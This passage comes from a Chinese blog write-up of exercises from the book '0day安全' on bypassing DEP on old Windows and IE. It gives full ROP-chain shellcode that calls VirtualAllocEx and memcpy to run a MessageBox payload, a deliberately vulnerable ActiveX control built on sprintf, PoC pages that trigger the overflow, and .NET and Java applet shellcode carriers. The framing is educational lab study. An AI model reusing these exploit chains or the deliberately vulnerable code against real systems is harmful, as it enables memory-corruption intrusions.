另外，memcpy需要的距离最远的参数是size，为ebp + 0x10，那么我们希望能够在紧接着的位置ebp + 0x14就转入memcpy执行。结合这些信息，我们确定之前在pop eax retn时栈顶应该放着一个pop pop retn。此时shellcode如下：

char shellcode[]=
// 180	nop
...
"\x90\x90\x90\x90"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	-1 (current process)
"\xff\xff\xff\xff"
// 4	lpAddress
"\x00\x00\x03\x00"
// 4	dwSize
"\xff\x00\x00\x00"
// 4	flAllocationType
"\x00\x10\x00\x00"
// 4	flProtect
"\x40\x00\x00\x00"
// 4	nop
"\x90\x90\x90\x90"
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 16	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	pop ecx pop ecx retn
"\xf4\x1e\xbf\x77"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	pop ecx retn
"\xa0\x6f\x5f\x7d" // <-- ebp
// 4	nop
"\x90\x90\x90\x90"
// 4	*dest
"\x00\x00\x03\x00" // <-- ebp+0x8
// 4	push esp jmp eax (*src)
"\xc6\xc6\xeb\x77" // <-- ebp+0xc
// 4	count 
"\xff\x00\x00\x00" // <-- ebp+0x10
// 4	into memcpy
"\xb8\x1d\x92\x7c"
;

编译调试，我们单步到memcpy返回前：

Bildschirmfoto 2018-10-01 um 10.24.13 AM.png

可以发现，它将返回到上面shellcode中*dest前那4个nop处，很巧吧！如果返回到别的地方我们还不好处理，幸好这里没有被占用。所以我们只需要在这个位置放上申请的可执行空间的起始地址，就可以转过去执行了。我们直接在最后跟上messagebox弹窗指令段，然后调试过去看看：

Bildschirmfoto 2018-10-01 um 11.32.38 AM.png

如上图，由于在memcpy时是从栈上的count参数开始复制的，所以在开头引入了一些垃圾指令，导致我们的弹窗shellcode未能被正确地解析。这里有两个可行的方法：

下面的最终shellcode采用第一种方案：

char shellcode[]=
// 180	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	-1 (current process)
"\xff\xff\xff\xff"
// 4	lpAddress
"\x00\x00\x03\x00"
// 4	dwSize
"\xff\x00\x00\x00"
// 4	flAllocationType
"\x00\x10\x00\x00"
// 4	flProtect
"\x40\x00\x00\x00"
// 4	nop
"\x90\x90\x90\x90"
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 16	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	pop ecx pop ecx retn
"\xf4\x1e\xbf\x77"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	pop ecx retn
"\xa0\x6f\x5f\x7d"
// 4	into allocated mem
"\x00\x00\x03\x00"
// 4	*dest
"\x00\x00\x03\x00"
// 4	push esp jmp eax (*src)
"\xc6\xc6\xeb\x77"
// 4	count
"\xff\x00\x00\x00"
// 4	into memcpy
"\xb8\x1d\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 168	messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
;

注：在书中作者的环境里，垃圾指令破坏了控制流，所以他要进行ESP、ESI、EDI的修复，而我这里不需要。

整个流程如下：

Bildschirmfoto 2018-10-01 um 12.50.18 PM.png

测试：

Bildschirmfoto 2018-09-28 um 4.34.00 PM.png

利用可执行内存挑战DEP

这种利用方式其实就是上一节的简化版，即不需要你自己去VirtualAlloc。我不清楚为什么作者的0x00140000处是RWE的，但是我这里并不是：

Bildschirmfoto 2018-10-02 um 10.29.43 AM.png

而且纵观整个内存布局，也没有发现这样的地方：

Bildschirmfoto 2018-10-02 um 10.32.31 AM.png

考虑到这里的shellcode布置比较简单，就是把上一节的去掉VitrualAlloc，所以我不再进行这个实验。

利用.NET挑战DEP (unsolved)

IE6及之后版本的IE可以使用.NET控件，它们运行于浏览器进程的沙盒内。.NET文件具有与PE文件一样的结构，具有.text段，被映射到内存中且具有可执行属性。如果将shellcode放入.NET中可执行的段中，然后转入这个区域执行，将绕过DEP。

准备材料：

建立具有溢出漏洞的ActiveX控件：

此处的步骤与0day安全 Chapter 11 亡羊补牢：SafeSEH最后一节基本相同，只不过这次需要关闭GS编译选项，因为我们要覆盖的是函数返回地址而非SEH。

测试代码如下：

void CVulnerAXCtrl::test(LPCTSTR str)
{
	// AFX_MANAGE_STATE(AfxGetStaticModuleState());
	// TODO: 在此添加调度处理程序代码
	printf("aaaa");
	char dest[100];
	sprintf(dest,"%s",str);	
}

编译并注册这个控件，同时记录下classid。

其他的过程略去不述，可以参考第十一章最后一节。

建立包含shellcode的.NET控件：

Bildschirmfoto 2018-10-03 um 11.10.47 AM.png

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace DEP_NETDLL
{
    public class Class1
    {
        public void Shellcode() {
            string shellcode =
            "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090" +
            "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06" +
            "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050" +
            "\uff53\ufc57\uff53\uf857";
        }
    }
}

注意编译为debug版本（release版本的优化选项会影响shellcode），并修改基址为0x24240000：

Bildschirmfoto 2018-10-03 um 11.16.22 AM.png

编译后将其与PoC页面放在同一目录下：

Bildschirmfoto 2018-10-03 um 11.20.33 AM.png

编写可以触发ActiveX控件中溢出漏洞的PoC页面：

<html>  
<body>  
  <object classid="DEP_NETDLL.dll#DEP_NETDLL.Class1"></object>
  <object classid="clsid:03473293-EB7D-4973-83C8-D5F9D448072C" id="test"></object>  
  <script>
	var s = "\u9090";
	while (s.length < 54) {
		s += "\u9090";
	}
	test.test(s); 
  </script>  
</body>  
</html>

测试：

我遇到了和这篇文章的作者同样的问题：IE没有加载DLL，OD里也看不到这个模块，但是ActiveX控件却正常加载。我采取了以下尝试，均不成功：

待以后有进展再补充。

利用Java applet挑战DEP (unsolved)

Java applet与.NET控件类似，都可以被IE浏览器加载到客户端，而且加载到IE进程的内存空间后这些控件都具有可执行性，所以我们可以将shellcode放在applet中。

准备材料：

建立ActiveX的过程与上一节完全一致，不再多说。下面来建立applet：

首先安装JDK 1.4.2。

然后编写如下代码并编译：

import java.applet.*;
import java.awt.*;

public class Shellcode extends Applet {
		public void init(){
			  Runtime.getRuntime().gc();
				StringBuffer buffer=new StringBuffer(255);
				buffer.append("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090" +
            "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06" +
            "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050" +
            "\uff53\ufc57\uff53\uf857");
		}
}

javac Shellcode.java -target 1.1

最后建立PoC页面，将其与Shellcode.class放在同一目录下：

<html>  
<body>  
  <applet code=Shellcode.class width=300 height=50></applet>
  <script>alert("begin");</script>
  <object classid="clsid:03473293-EB7D-4973-83C8-D5F9D448072C" id="test"></object>  
  <script>
	var s = "\u9090";
	while (s.length < 54) {
		s += "\u9090";
	}
	s +="\u04FC\u1001";
	test.test(s); 
  </script>  
</body>  
</html>

这个也没有成功。后来我参考0day安全软件漏洞分析实战记录-第一部分觉得可能是要把这些东西放在IIS的Web目录中才行，于是装了IIS5，可仍然不行。前一个小节依然无法找到DEP_NETDLL，本小节则是能够在OD中转到Shellcode去执行，但是不弹窗。直接打开网页只会在左下角显示小程序Shellcode started，但是依旧不弹窗。

先这样。

疑问

在完成“利用Ret2Libc挑战DEP”部分后，我忽然意识到，我在该部分的所有实验都是在VS 2008内完成的，并非前面提到的“VC 6”。也就是说，我默认开启了SafeSEH。为了确认，我使用dumpbin查看，发现的确有SafeSEH：

Bildschirmfoto 2018-10-02 um 9.41.59 AM.png

但是GS的确是关闭的。那么为什么我开启SafeSEH依然能exploit成功呢？

一个猜测是：由于关闭了GS，而我在操作过程中也没有触发其他异常，所以并没有触发SEH，同理也就没有触发SafeSEH机制。

我后来是怎么意识到自己之前用的是VS 2008呢？

因为后来我想反过头来去完成第十一章的Flash Player实验，结果打开VC 6后发现这个IDE是没有代码高亮的，而我昨天做过的实验中使用的IDE明明有代码高亮。

总结

本章学习了大量的构造栈帧的技巧。防御技术总在推陈出新，绕过技术总会过时，但是这些构造shellcode的技术是不会过时的，包括如何移动ESP，如何修复EBP，如何动态获取shellcode的地址等等。还是要反复思考、练习才能掌握。

另外，在面对复杂的shellcode布置时，作者采用了步步为营的方法，而不是一蹴而就。写一点调试一点，这样可以避免大错。这是一个经验。

我偶然在通关栈溢出（四）：缓冲区溢出的防御技术及绕过一文中发现了利用mona插件自动构造绕过DEP的ROP链，很有意思。